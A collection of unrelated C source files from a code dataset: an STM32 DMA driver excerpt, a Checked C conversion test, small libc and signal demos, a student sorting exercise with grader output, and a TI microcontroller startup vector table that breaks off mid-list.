#define IS_LL_DMA_MEMORYDATASIZE(__VALUE__) (((__VALUE__) == LL_DMA_MDATAALIGN_BYTE) || \
((__VALUE__) == LL_DMA_MDATAALIGN_HALFWORD) || \
((__VALUE__) == LL_DMA_MDATAALIGN_WORD))
#define IS_LL_DMA_NBDATA(__VALUE__) ((__VALUE__) <= 0x0000FFFFU)
#define IS_LL_DMA_PRIORITY(__VALUE__) (((__VALUE__) == LL_DMA_PRIORITY_LOW) || \
((__VALUE__) == LL_DMA_PRIORITY_MEDIUM) || \
((__VALUE__) == LL_DMA_PRIORITY_HIGH) || \
((__VALUE__) == LL_DMA_PRIORITY_VERYHIGH))
#if defined (DMA2)
#if defined (DMA2_Channel6) && defined (DMA2_Channel7)
#define IS_LL_DMA_ALL_CHANNEL_INSTANCE(INSTANCE, CHANNEL) ((((INSTANCE) == DMA1) && \
(((CHANNEL) == LL_DMA_CHANNEL_1) || \
((CHANNEL) == LL_DMA_CHANNEL_2) || \
((CHANNEL) == LL_DMA_CHANNEL_3) || \
((CHANNEL) == LL_DMA_CHANNEL_4) || \
((CHANNEL) == LL_DMA_CHANNEL_5) || \
((CHANNEL) == LL_DMA_CHANNEL_6) || \
((CHANNEL) == LL_DMA_CHANNEL_7))) || \
(((INSTANCE) == DMA2) && \
(((CHANNEL) == LL_DMA_CHANNEL_1) || \
((CHANNEL) == LL_DMA_CHANNEL_2) || \
((CHANNEL) == LL_DMA_CHANNEL_3) || \
((CHANNEL) == LL_DMA_CHANNEL_4) || \
((CHANNEL) == LL_DMA_CHANNEL_5) || \
((CHANNEL) == LL_DMA_CHANNEL_6) || \
((CHANNEL) == LL_DMA_CHANNEL_7))))
#else
#define IS_LL_DMA_ALL_CHANNEL_INSTANCE(INSTANCE, CHANNEL) ((((INSTANCE) == DMA1) && \
(((CHANNEL) == LL_DMA_CHANNEL_1) || \
((CHANNEL) == LL_DMA_CHANNEL_2) || \
((CHANNEL) == LL_DMA_CHANNEL_3) || \
((CHANNEL) == LL_DMA_CHANNEL_4) || \
((CHANNEL) == LL_DMA_CHANNEL_5) || \
((CHANNEL) == LL_DMA_CHANNEL_6) || \
((CHANNEL) == LL_DMA_CHANNEL_7))) || \
(((INSTANCE) == DMA2) && \
(((CHANNEL) == LL_DMA_CHANNEL_1) || \
((CHANNEL) == LL_DMA_CHANNEL_2) || \
((CHANNEL) == LL_DMA_CHANNEL_3) || \
((CHANNEL) == LL_DMA_CHANNEL_4) || \
((CHANNEL) == LL_DMA_CHANNEL_5))))
#endif
#else
#define IS_LL_DMA_ALL_CHANNEL_INSTANCE(INSTANCE, CHANNEL) ((((INSTANCE) == DMA1) && \
(((CHANNEL) == LL_DMA_CHANNEL_1)|| \
((CHANNEL) == LL_DMA_CHANNEL_2) || \
((CHANNEL) == LL_DMA_CHANNEL_3) || \
((CHANNEL) == LL_DMA_CHANNEL_4) || \
((CHANNEL) == LL_DMA_CHANNEL_5) || \
((CHANNEL) == LL_DMA_CHANNEL_6) || \
((CHANNEL) == LL_DMA_CHANNEL_7))))
#endif
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup DMA_LL_Exported_Functions
* @{
*/
/** @addtogroup DMA_LL_EF_Init
* @{
*/
/**
* @brief De-initialize the DMA registers to their default reset values.
* @param DMAx DMAx Instance
* @param Channel This parameter can be one of the following values:
* @arg @ref LL_DMA_CHANNEL_1
* @arg @ref LL_DMA_CHANNEL_2
* @arg @ref LL_DMA_CHANNEL_3
* @arg @ref LL_DMA_CHANNEL_4
* @arg @ref LL_DMA_CHANNEL_5
* @arg @ref LL_DMA_CHANNEL_6
* @arg @ref LL_DMA_CHANNEL_7
* @arg @ref LL_DMA_CHANNEL_ALL
* @retval An ErrorStatus enumeration value:
* - SUCCESS: DMA registers are de-initialized
* - ERROR: DMA registers are not de-initialized
*/
uint32_t LL_DMA_DeInit(DMA_TypeDef *DMAx, uint32_t Channel)
{
DMA_Channel_TypeDef *tmp = (DMA_Channel_TypeDef *)DMA1_Channel1;
ErrorStatus status = SUCCESS;
/* Check the DMA Instance DMAx and Channel parameters*/
assert_param(IS_LL_DMA_ALL_CHANNEL_INSTANCE(DMAx, Channel) || (Channel == LL_DMA_CHANNEL_ALL));
if (Channel == LL_DMA_CHANNEL_ALL)
{
if (DMAx == DMA1)
{
/* Force reset of DMA clock */
LL_AHB1_GRP1_ForceReset(LL_AHB1_GRP1_PERIPH_DMA1);
/* Release reset of DMA clock */
LL_AHB1_GRP1_ReleaseReset(LL_AHB1_GRP1_PERIPH_DMA1);
}
#if defined(DMA2)
else if (DMAx == DMA2)
{
/* Force reset of DMA clock */
LL_AHB1_GRP1_ForceReset(LL_AHB1_GRP1_PERIPH_DMA2);
/* Release reset of DMA clock */
LL_AHB1_GRP1_ReleaseReset(LL_AHB1_GRP1_PERIPH_DMA2);
}
#endif
else
{
status = ERROR;
}
}
else
{
tmp = (DMA_Channel_TypeDef *)(__LL_DMA_GET_CHANNEL_INSTANCE(DMAx, Channel));
/* Disable the selected DMAx_Channely */
CLEAR_BIT(tmp->CCR, DMA_CCR_EN);
/* Reset DMAx_Channely control register */
LL_DMA_WriteReg(tmp, CCR, 0U);
/* Reset DMAx_Channely remaining bytes register */
LL_DMA_WriteReg(tmp, CNDTR, 0U);
/* Reset DMAx_Channely peripheral address register */
LL_DMA_WriteReg(tmp, CPAR, 0U);
/* Reset DMAx_Channely memory address register */
LL_DMA_WriteReg(tmp, CMAR, 0U);
if (Channel == LL_DMA_CHANNEL_1)
{
/* Reset interrupt pending bits for DMAx Channel1 */
LL_DMA_ClearFlag_GI1(DMAx);
}
else if (Channel == LL_DMA_CHANNEL_2)
{
/* Reset interrupt pending bits for DMAx Channel2 */
LL_DMA_ClearFlag_GI2(DMAx);
}
else if (Channel == LL_DMA_CHANNEL_3)
{
/* Reset interrupt pending bits for DMAx Channel3 */
LL_DMA_ClearFlag_GI3(DMAx);
}
else if (Channel == LL_DMA_CHANNEL_4)
{
/* Reset interrupt pending bits for DMAx Channel4 */
LL_DMA_ClearFlag_GI4(DMAx);
}
else if (Channel == LL_DMA_CHANNEL_5)
{
/* Reset interrupt pending bits for DMAx Channel5 */
LL_DMA_ClearFlag_GI5(DMAx);
}
else if (Channel == LL_DMA_CHANNEL_6)
{
/* Reset interrupt pending bits for DMAx Channel6 */
LL_DMA_ClearFlag_GI6(DMAx);
}
else if (Channel == LL_DMA_CHANNEL_7)
{
/* Reset interrupt pending bits for DMAx Channel7 */
LL_DMA_ClearFlag_GI7(DMAx);
}
else
{
status = ERROR;
}
}
return status;
}
/**
* @brief Initialize the DMA registers according to the specified parameters in DMA_InitStruct.
* @note To convert DMAx_Channely Instance to DMAx Instance and Channely, use helper macros :
* @arg @ref __LL_DMA_GET_INSTANCE
* @arg @ref __LL_DMA_GET_CHANNEL
* @param DMAx DMAx Instance
* @param Channel This parameter can be one of the following values:
* @arg @ref LL_DMA_CHANNEL_1
* @arg @ref LL_DMA_CHANNEL_2
* @arg @ref LL_DMA_CHANNEL_3
* @arg @ref LL_DMA_CHANNEL_4
* @arg @ref LL_DMA_CHANNEL_5
* @arg @ref LL_DMA_CHANNEL_6
* @arg @ref LL_DMA_CHANNEL_7
* @param DMA_InitStruct pointer to a @ref LL_DMA_InitTypeDef structure.
* @retval An ErrorStatus enumeration value:
* - SUCCESS: DMA registers are initialized
* - ERROR: Not applicable
*/
uint32_t LL_DMA_Init(DMA_TypeDef *DMAx, uint32_t Channel, LL_DMA_InitTypeDef *DMA_InitStruct)
{
/* Check the DMA Instance DMAx and Channel parameters*/
assert_param(IS_LL_DMA_ALL_CHANNEL_INSTANCE(DMAx, Channel));
/* Check the DMA parameters from DMA_InitStruct */
assert_param(IS_LL_DMA_DIRECTION(DMA_InitStruct->Direction));
assert_param(IS_LL_DMA_MODE(DMA_InitStruct->Mode));
assert_param(IS_LL_DMA_PERIPHINCMODE(DMA_InitStruct->PeriphOrM2MSrcIncMode));
assert_param(IS_LL_DMA_MEMORYINCMODE(DMA_InitStruct->MemoryOrM2MDstIncMode));
assert_param(IS_LL_DMA_PERIPHDATASIZE(DMA_InitStruct->PeriphOrM2MSrcDataSize));
assert_param(IS_LL_DMA_MEMORYDATASIZE(DMA_InitStruct->MemoryOrM2MDstDataSize));
assert_param(IS_LL_DMA_NBDATA(DMA_InitStruct->NbData));
assert_param(IS_LL_DMA_PRIORITY(DMA_InitStruct->Priority));
/*---------------------------- DMAx CCR Configuration ------------------------
* Configure DMAx_Channely: data transfer direction, data transfer mode,
* peripheral and memory increment mode,
* data size alignment and priority level with parameters :
* - Direction: DMA_CCR_DIR and DMA_CCR_MEM2MEM bits
* - Mode: DMA_CCR_CIRC bit
* - PeriphOrM2MSrcIncMode: DMA_CCR_PINC bit
* - MemoryOrM2MDstIncMode: DMA_CCR_MINC bit
* - PeriphOrM2MSrcDataSize: DMA_CCR_PSIZE[1:0] bits
* - MemoryOrM2MDstDataSize: DMA_CCR_MSIZE[1:0] bits
* - Priority: DMA_CCR_PL[1:0] bits
*/
LL_DMA_ConfigTransfer(DMAx, Channel, DMA_InitStruct->Direction | \
DMA_InitStruct->Mode | \
DMA_InitStruct->PeriphOrM2MSrcIncMode | \
DMA_InitStruct->MemoryOrM2MDstIncMode | \
DMA_InitStruct->PeriphOrM2MSrcDataSize | \
DMA_InitStruct->MemoryOrM2MDstDataSize | \
DMA_InitStruct->Priority);
/*-------------------------- DMAx CMAR Configuration -------------------------
* Configure the memory or destination base address with parameter :
* - MemoryOrM2MDstAddress: DMA_CMAR_MA[31:0] bits
*/
LL_DMA_SetMemoryAddress(DMAx, Channel, DMA_InitStruct->MemoryOrM2MDstAddress);
/*-------------------------- DMAx CPAR Configuration -------------------------
* Configure the peripheral or source base address with parameter :
* - PeriphOrM2MSrcAddress: DMA_CPAR_PA[31:0] bits
*/
LL_DMA_SetPeriphAddress(DMAx, Channel, DMA_InitStruct->PeriphOrM2MSrcAddress);
/*--------------------------- DMAx CNDTR Configuration -----------------------
* Configure the peripheral base address with parameter :
* - NbData: DMA_CNDTR_NDT[15:0] bits
*/
LL_DMA_SetDataLength(DMAx, Channel, DMA_InitStruct->NbData);
return SUCCESS;
}
/**
* @brief Set each @ref LL_DMA_InitTypeDef field to default value.
* @param DMA_InitStruct Pointer to a @ref LL_DMA_InitTypeDef structure.
* @retval None
*/
void LL_DMA_StructInit(LL_DMA_InitTypeDef *DMA_InitStruct)
{
/* Set DMA_InitStruct fields to default values */
DMA_InitStruct->PeriphOrM2MSrcAddress = 0x00000000U;
DMA_InitStruct->MemoryOrM2MDstAddress = 0x00000000U;
DMA_InitStruct->Direction = LL_DMA_DIRECTION_PERIPH_TO_MEMORY;
DMA_InitStruct->Mode = LL_DMA_MODE_NORMAL;
DMA_InitStruct->PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT;
DMA_InitStruct->MemoryOrM2MDstIncMode = LL_DMA_MEMORY_NOINCREMENT;
DMA_InitStruct->PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_BYTE;
DMA_InitStruct->MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_BYTE;
DMA_InitStruct->NbData = 0x00000000U;
DMA_InitStruct->Priority = LL_DMA_PRIORITY_LOW;
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#endif /* DMA1 || DMA2 */
/**
* @}
*/
#endif /* USE_FULL_LL_DRIVER */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/97254.c
|
/*
* Mach Operating System
* Copyright (c) 1992,1991,1990,1989 Carnegie Mellon University
* All Rights Reserved.
*
* Permission to use, copy, modify and distribute this software and its
* documentation is hereby granted, provided that both the copyright
* notice and this permission notice appear in all copies of the
* software, derivative works or modified versions, and any portions
* thereof, and that both notices appear in supporting documentation.
*
* CARNEGIE MELLON ALLOWS FREE USE OF THIS SOFTWARE IN ITS "AS IS"
* CONDITION. CARNEGIE MELLON DISCLAIMS ANY LIABILITY OF ANY KIND FOR
* ANY DAMAGES WHATSOEVER RESULTING FROM THE USE OF THIS SOFTWARE.
*
* Carnegie Mellon requests users of this software to return to
*
* Software Distribution Coordinator or [email protected]
* School of Computer Science
* Carnegie Mellon University
* Pittsburgh PA 15213-3890
*
* any improvements or extensions that they make and grant Carnegie Mellon
* the rights to redistribute these changes.
*/
char *
strcat(s, add)
register char *s, *add;
{
register char *ret = s;
while (*s) s++;
while ((*s++ = *add++) != 0);
return ret;
}
|
the_stack_data/431472.c
|
// RUN: rm -rf %t*
// RUN: 3c -base-dir=%S -alltypes -addcr %s -- | FileCheck -match-full-lines -check-prefixes="CHECK_ALL","CHECK" %s
// RUN: 3c -base-dir=%S -addcr %s -- | FileCheck -match-full-lines -check-prefixes="CHECK_NOALL","CHECK" %s
// RUN: 3c -base-dir=%S -addcr %s -- | %clang -c -fcheckedc-extension -x c -o /dev/null -
// RUN: 3c -base-dir=%S -alltypes -output-dir=%t.checked %s --
// RUN: 3c -base-dir=%t.checked -alltypes %t.checked/unsafefptrargprotosafe.c -- | diff %t.checked/unsafefptrargprotosafe.c -
/******************************************************************************/
/*This file tests three functions: two callers bar and foo, and a callee sus*/
/*In particular, this file tests: passing a function pointer as an argument to a
function unsafely (by casting it unsafely)*/
/*For robustness, this test is identical to
unsafefptrargsafe.c except in that
a prototype for sus is available, and is called by foo and bar,
while the definition for sus appears below them*/
/*In this test, foo, bar, and sus will all treat their return values safely*/
/******************************************************************************/
#include <stddef.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
struct general {
int data;
struct general *next;
//CHECK: _Ptr<struct general> next;
};
struct warr {
int data1[5];
//CHECK_NOALL: int data1[5];
//CHECK_ALL: int data1 _Checked[5];
char *name;
//CHECK: _Ptr<char> name;
};
struct fptrarr {
int *values;
//CHECK: _Ptr<int> values;
char *name;
//CHECK: _Ptr<char> name;
int (*mapper)(int);
//CHECK: _Ptr<int (int)> mapper;
};
struct fptr {
int *value;
//CHECK: _Ptr<int> value;
int (*func)(int);
//CHECK: _Ptr<int (int)> func;
};
struct arrfptr {
int args[5];
//CHECK_NOALL: int args[5];
//CHECK_ALL: int args _Checked[5];
int (*funcs[5])(int);
//CHECK_NOALL: int (*funcs[5])(int);
//CHECK_ALL: _Ptr<int (int)> funcs _Checked[5];
};
int add1(int x) {
//CHECK: int add1(int x) _Checked {
return x + 1;
}
int sub1(int x) {
//CHECK: int sub1(int x) _Checked {
return x - 1;
}
int fact(int n) {
//CHECK: int fact(int n) _Checked {
if (n == 0) {
return 1;
}
return n * fact(n - 1);
}
int fib(int n) {
//CHECK: int fib(int n) _Checked {
if (n == 0) {
return 0;
}
if (n == 1) {
return 1;
}
return fib(n - 1) + fib(n - 2);
}
int zerohuh(int n) {
//CHECK: int zerohuh(int n) _Checked {
return !n;
}
int *mul2(int *x) {
//CHECK: int *mul2(int *x) {
*x *= 2;
return x;
}
int *sus(int (*)(int), int (*)(int));
//CHECK_NOALL: int *sus(int (*x)(int), _Ptr<int (int)> y) : itype(_Ptr<int>);
//CHECK_ALL: _Array_ptr<int> sus(int (*x)(int), _Ptr<int (int)> y) : count(5);
int *foo() {
//CHECK_NOALL: _Ptr<int> foo(void) {
//CHECK_ALL: _Array_ptr<int> foo(void) : count(5) {
int (*x)(int) = add1;
//CHECK: int (*x)(int) = add1;
int (*y)(int) = mul2;
//CHECK: int (*y)(int) = mul2;
int *z = sus(x, y);
//CHECK_NOALL: _Ptr<int> z = sus(x, _Assume_bounds_cast<_Ptr<int (int)>>(y));
//CHECK_ALL: _Array_ptr<int> z : count(5) = sus(x, _Assume_bounds_cast<_Ptr<int (int)>>(y));
return z;
}
int *bar() {
//CHECK_NOALL: _Ptr<int> bar(void) {
//CHECK_ALL: _Array_ptr<int> bar(void) : count(5) {
int (*x)(int) = add1;
//CHECK: int (*x)(int) = add1;
int (*y)(int) = mul2;
//CHECK: int (*y)(int) = mul2;
int *z = sus(x, y);
//CHECK_NOALL: _Ptr<int> z = sus(x, _Assume_bounds_cast<_Ptr<int (int)>>(y));
//CHECK_ALL: _Array_ptr<int> z : count(5) = sus(x, _Assume_bounds_cast<_Ptr<int (int)>>(y));
return z;
}
int *sus(int (*x)(int), int (*y)(int)) {
//CHECK_NOALL: int *sus(int (*x)(int), _Ptr<int (int)> y) : itype(_Ptr<int>) {
//CHECK_ALL: _Array_ptr<int> sus(int (*x)(int), _Ptr<int (int)> y) : count(5) {
x = (int (*)(int))5;
//CHECK: x = (int (*)(int))5;
int *z = calloc(5, sizeof(int));
//CHECK_NOALL: int *z = calloc<int>(5, sizeof(int));
//CHECK_ALL: _Array_ptr<int> z : count(5) = calloc<int>(5, sizeof(int));
int i;
for (i = 0; i < 5; i++) {
//CHECK_NOALL: for (i = 0; i < 5; i++) {
//CHECK_ALL: for (i = 0; i < 5; i++) _Checked {
z[i] = y(i);
}
return z;
}
|
the_stack_data/538407.c
|
#include <sys/types.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void sig_usr1(int sig)
{
printf("SIGUSR1 started.\n");
kill(getpid(), SIGUSR2);
printf("SIGUSR1 ended.\n");
}
void sig_usr2(int sig)
{
printf("SIGUSR2 started.\n");
printf("SIGUSR2 ended.\n");
}
int main()
{
signal(SIGUSR1, sig_usr1);
signal(SIGUSR2, sig_usr2);
kill(getpid(), SIGUSR1);
return 0;
}
|
the_stack_data/778655.c
|
#include <math.h>
void Tags(T, q)
double T[24];
double q[7];
{
double t1;
double t10;
double t11;
double t14;
double t16;
double t18;
double t19;
double t2;
double t20;
double t21;
double t24;
double t25;
double t26;
double t27;
double t29;
double t3;
double t30;
double t33;
double t35;
double t37;
double t39;
double t4;
double t43;
double t49;
double t51;
double t58;
double t6;
double t62;
double t65;
double t7;
double t72;
double t73;
double t8;
{
T[0] = 0.0;
T[1] = 0.0;
t1 = q[0];
t2 = cos(t1);
t3 = q[1];
t4 = sin(t3);
T[2] = 0.45 * t2 * t4;
T[3] = T[2];
t6 = cos(t3);
t7 = q[2];
t8 = cos(t7);
t10 = q[3];
t11 = sin(t10);
t14 = cos(t10);
t16 = -0.45 - 0.48 * t14;
t18 = 0.48 * t6 * t8 * t11 - t4 * t16;
t19 = t2 * t18;
t20 = sin(t1);
t21 = sin(t7);
t24 = 0.48 * t20 * t21 * t11;
// t25 = &*(t,tag_5);
t25 = 0;
T[4] = t19 - t24 + t25;
T[5] = t19 - t24;
T[6] = T[5];
t26 = q[4];
t27 = cos(t26);
t29 = q[5];
t30 = sin(t29);
t33 = cos(t29);
t35 = -0.276576E1 - 0.11004 * t33;
t37 = 0.11004 * t14 * t27 * t30 - t11 * t35;
t39 = sin(t26);
t43 = t8 * t37 - 0.11004 * t21 * t39 * t30;
t49 = -0.67391E1 + 0.11004 * t11 * t27 * t30 + t14 * t35;
t51 = t6 * t43 - t4 * t49;
t58 = t21 * t37 + 0.11004 * t8 * t39 * t30;
T[7] = 0.3684598379E-1 * t2 * t51 - 0.3684598379E-1 * t20 * t58;
T[8] = 0.0;
T[9] = 0.0;
T[10] = 0.45 * t20 * t4;
T[11] = T[10];
t62 = t20 * t18;
t65 = 0.48 * t2 * t21 * t11;
T[12] = t62 + t65 + t25;
T[13] = t62 + t65;
T[14] = T[13];
T[15] = 0.3684598379E-1 * t20 * t51 + 0.3684598379E-1 * t2 * t58;
T[16] = 0.0;
T[17] = 0.0;
T[18] = 0.45 * t6;
T[19] = T[18];
t72 = 0.48 * t4 * t8 * t11;
t73 = t6 * t16;
T[20] = -t72 - t73 + t25;
T[21] = -t72 - t73;
T[22] = T[21];
T[23] = -0.3397199705E-2 - 0.3684598379E-1 * t4 * t43 - 0.3684598379E-1 * t6 * t49;
return;
}
}
|
the_stack_data/1248355.c
|
// Copyright (c) 2017 Nuxi, https://nuxi.nl/
//
// SPDX-License-Identifier: BSD-2-Clause
#include <sys/utsname.h>
#define STRINGIFY(x) STRINGIFY2(x)
#define STRINGIFY2(x) #x
#define CLOUDLIBC_VERSION \
STRINGIFY(__cloudlibc_major__) "." STRINGIFY(__cloudlibc_minor__)
int uname(struct utsname *uname) {
*uname = (struct utsname) {
.sysname = "cloudlibc\0", .release = CLOUDLIBC_VERSION "\0",
.version = CLOUDLIBC_VERSION "\0",
#if defined(__aarch64__)
.machine = "aarch64\0",
#elif defined(__arm__) && __ARM_ARCH == 6
.machine = "armv6\0",
#elif defined(__arm__) && __ARM_ARCH == 7
.machine = "armv7\0",
#elif defined(__i386__)
.machine = "i386\0",
#elif defined(__riscv) && __riscv_xlen == 32
.machine = "riscv32\0",
#elif defined(__riscv) && __riscv_xlen == 64
.machine = "riscv64\0",
#elif defined(__x86_64__)
.machine = "x86_64\0",
#else
#error "Unknown architecture"
#endif
};
return 0;
}
|
the_stack_data/167330343.c
|
/*! \copyright
https://opensource.org/licenses/BSD-3-Clause
Copyright 2013-2021 Marco Bacchi <[email protected]>
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
*/
#if DEBUG
#include "debug.h"
#include <stdarg.h>
#include <stdio.h>
void debug_printf_function ( const char * format, ... )
{
va_list arglist;
va_start( arglist, format );
vprintf( format, arglist );
va_end( arglist );
}
#else /* !DEBUG */
void debug_printf_function ( const char * format, ... )
{
}
#endif /* DEBUG */
|
the_stack_data/8153.c
|
int f(const int * x){
return 0;
}
int main(void){
int x = 5;
int (*g)(int*) = (int (*) (int*))&f;
return g(&x);
}
|
the_stack_data/77712.c
|
/*numPass=6, numTotal=6
Verdict:ACCEPTED, Visibility:1, Input:"4
1 100 99 100
2 100 98 98
3 1 1 1
4 91 12 12", ExpOutput:"1
2
4
3
", Output:"1
2
4
3
"
Verdict:ACCEPTED, Visibility:1, Input:"3
13745 30 59 50
12845 31 23 50
12424 31 23 40
", ExpOutput:"12845
13745
12424
", Output:"12845
13745
12424
"
Verdict:ACCEPTED, Visibility:1, Input:"4
1 50 20 30
4 30 40 10
2 40 40 10
3 35 29 40", ExpOutput:"3
1
2
4
", Output:"3
1
2
4
"
Verdict:ACCEPTED, Visibility:0, Input:"2
1 50 50 50
2 50 30 50", ExpOutput:"1
2
", Output:"1
2
"
Verdict:ACCEPTED, Visibility:0, Input:"4
1 50 50 50
2 50 30 50
3 20 50 56
4 58 29 50", ExpOutput:"3
4
1
2
", Output:"3
4
1
2
"
Verdict:ACCEPTED, Visibility:0, Input:"5
1 50 50 30
2 20 30 50
3 80 50 66
4 10 29 10
5 10 10 10", ExpOutput:"3
2
1
4
5
", Output:"3
2
1
4
5
"
*/
#include <stdio.h>
#include <stdlib.h>
typedef struct student Std;
struct student{ int roll,phy,chm,mth;};
Std *ar;
void rearrange(int n)
{
int i,j;
int t1,t2,t3,t4;
for(j=0;j<n;j++)
{
for(i=0;i<n-1;i++)
{
if(ar[i+1].mth > ar[i].mth)
{
t1=ar[i+1].roll;
ar[i+1].roll=ar[i].roll;
ar[i].roll=t1;
t2=ar[i+1].phy;
ar[i+1].phy=ar[i].phy;
ar[i].phy=t2;
t3=ar[i+1].chm;
ar[i+1].chm=ar[i].chm;
ar[i].chm=t3;
t4=ar[i+1].mth;
ar[i+1].mth=ar[i].mth;
ar[i].mth=t4;
}
else if(ar[i+1].mth ==ar[i].mth)
{
if(ar[i+1].phy>ar[i].phy)
{
t1=ar[i+1].roll;
ar[i+1].roll=ar[i].roll;
ar[i].roll=t1;
t2=ar[i+1].phy;
ar[i+1].phy=ar[i].phy;
ar[i].phy=t2;
t3=ar[i+1].chm;
ar[i+1].chm=ar[i].chm;
ar[i].chm=t3;
t4=ar[i+1].mth;
ar[i+1].mth=ar[i].mth;
ar[i].mth=t4;
}
else if(ar[i+1].phy==ar[i].phy)
{
if(ar[i+1].chm>ar[i].chm)
{
t1=ar[i+1].roll;
ar[i+1].roll=ar[i].roll;
ar[i].roll=t1;
t2=ar[i+1].phy;
ar[i+1].phy=ar[i].phy;
ar[i].phy=t2;
t3=ar[i+1].chm;
ar[i+1].chm=ar[i].chm;
ar[i].chm=t3;
t4=ar[i+1].mth;
ar[i+1].mth=ar[i].mth;
ar[i].mth=t4;
}
}
}
}
}
}
int main()
{
int n;
scanf("%d",&n);
ar = (Std*)malloc(n*sizeof(Std));
for(int i=0;i<n;i++)
{
scanf("%d %d %d %d",&ar[i].roll,&ar[i].phy,&ar[i].chm,&ar[i].mth);
}
rearrange(n);
for(int i=0;i<n;i++)
{
printf("%d\n",ar[i].roll);
}
free (ar);
return 0;
}
|
the_stack_data/50054.c
|
//*****************************************************************************
//
// startup_gcc.c - Startup code for use with GNU tools.
//
// Copyright (c) 2008-2013 Texas Instruments Incorporated. All rights reserved.
// Software License Agreement
//
// Texas Instruments (TI) is supplying this software for use solely and
// exclusively on TI's microcontroller products. The software is owned by
// TI and/or its suppliers, and is protected under applicable copyright
// laws. You may not combine this software with "viral" open-source
// software in order to form a larger program.
//
// THIS SOFTWARE IS PROVIDED "AS IS" AND WITH ALL FAULTS.
// NO WARRANTIES, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT
// NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. TI SHALL NOT, UNDER ANY
// CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, OR CONSEQUENTIAL
// DAMAGES, FOR ANY REASON WHATSOEVER.
//
// This is part of revision 10636 of the DK-LM3S9D96 Firmware Package.
//
//*****************************************************************************
//*****************************************************************************
//
// Forward declaration of the default fault handlers.
//
//*****************************************************************************
void ResetISR(void);
static void NmiSR(void);
static void FaultISR(void);
static void IntDefaultHandler(void);
//*****************************************************************************
//
// External declarations for the interrupt handlers used by the application.
//
//*****************************************************************************
extern void TouchScreenIntHandler(void);
extern void SysTickHandler(void);
extern void UARTStdioIntHandler(void);
//*****************************************************************************
//
// The entry point for the application.
//
//*****************************************************************************
extern int main(void);
//*****************************************************************************
//
// Reserve space for the system stack.
//
//*****************************************************************************
static unsigned long pulStack[256];
//*****************************************************************************
//
// The vector table. Note that the proper constructs must be placed on this to
// ensure that it ends up at physical address 0x0000.0000.
//
//*****************************************************************************
__attribute__ ((section(".isr_vector")))
void (* const g_pfnVectors[])(void) =
{
(void (*)(void))((unsigned long)pulStack + sizeof(pulStack)),
// The initial stack pointer
ResetISR, // The reset handler
NmiSR, // The NMI handler
FaultISR, // The hard fault handler
IntDefaultHandler, // The MPU fault handler
IntDefaultHandler, // The bus fault handler
IntDefaultHandler, // The usage fault handler
0, // Reserved
0, // Reserved
0, // Reserved
0, // Reserved
IntDefaultHandler, // SVCall handler
IntDefaultHandler, // Debug monitor handler
0, // Reserved
IntDefaultHandler, // The PendSV handler
SysTickHandler, // The SysTick handler
IntDefaultHandler, // GPIO Port A
IntDefaultHandler, // GPIO Port B
IntDefaultHandler, // GPIO Port C
IntDefaultHandler, // GPIO Port D
IntDefaultHandler, // GPIO Port E
UARTStdioIntHandler, // UART0 Rx and Tx
IntDefaultHandler, // UART1 Rx and Tx
IntDefaultHandler, // SSI0 Rx and Tx
IntDefaultHandler, // I2C0 Master and Slave
IntDefaultHandler, // PWM Fault
IntDefaultHandler, // PWM Generator 0
IntDefaultHandler, // PWM Generator 1
IntDefaultHandler, // PWM Generator 2
IntDefaultHandler, // Quadrature Encoder 0
IntDefaultHandler, // ADC Sequence 0
IntDefaultHandler, // ADC Sequence 1
IntDefaultHandler, // ADC Sequence 2
TouchScreenIntHandler, // ADC Sequence 3
IntDefaultHandler, // Watchdog timer
IntDefaultHandler, // Timer 0 subtimer A
IntDefaultHandler, // Timer 0 subtimer B
IntDefaultHandler, // Timer 1 subtimer A
IntDefaultHandler, // Timer 1 subtimer B
IntDefaultHandler, // Timer 2 subtimer A
IntDefaultHandler, // Timer 2 subtimer B
IntDefaultHandler, // Analog Comparator 0
IntDefaultHandler, // Analog Comparator 1
IntDefaultHandler, // Analog Comparator 2
IntDefaultHandler, // System Control (PLL, OSC, BO)
IntDefaultHandler, // FLASH Control
IntDefaultHandler, // GPIO Port F
IntDefaultHandler, // GPIO Port G
IntDefaultHandler, // GPIO Port H
IntDefaultHandler, // UART2 Rx and Tx
IntDefaultHandler, // SSI1 Rx and Tx
IntDefaultHandler, // Timer 3 subtimer A
IntDefaultHandler, // Timer 3 subtimer B
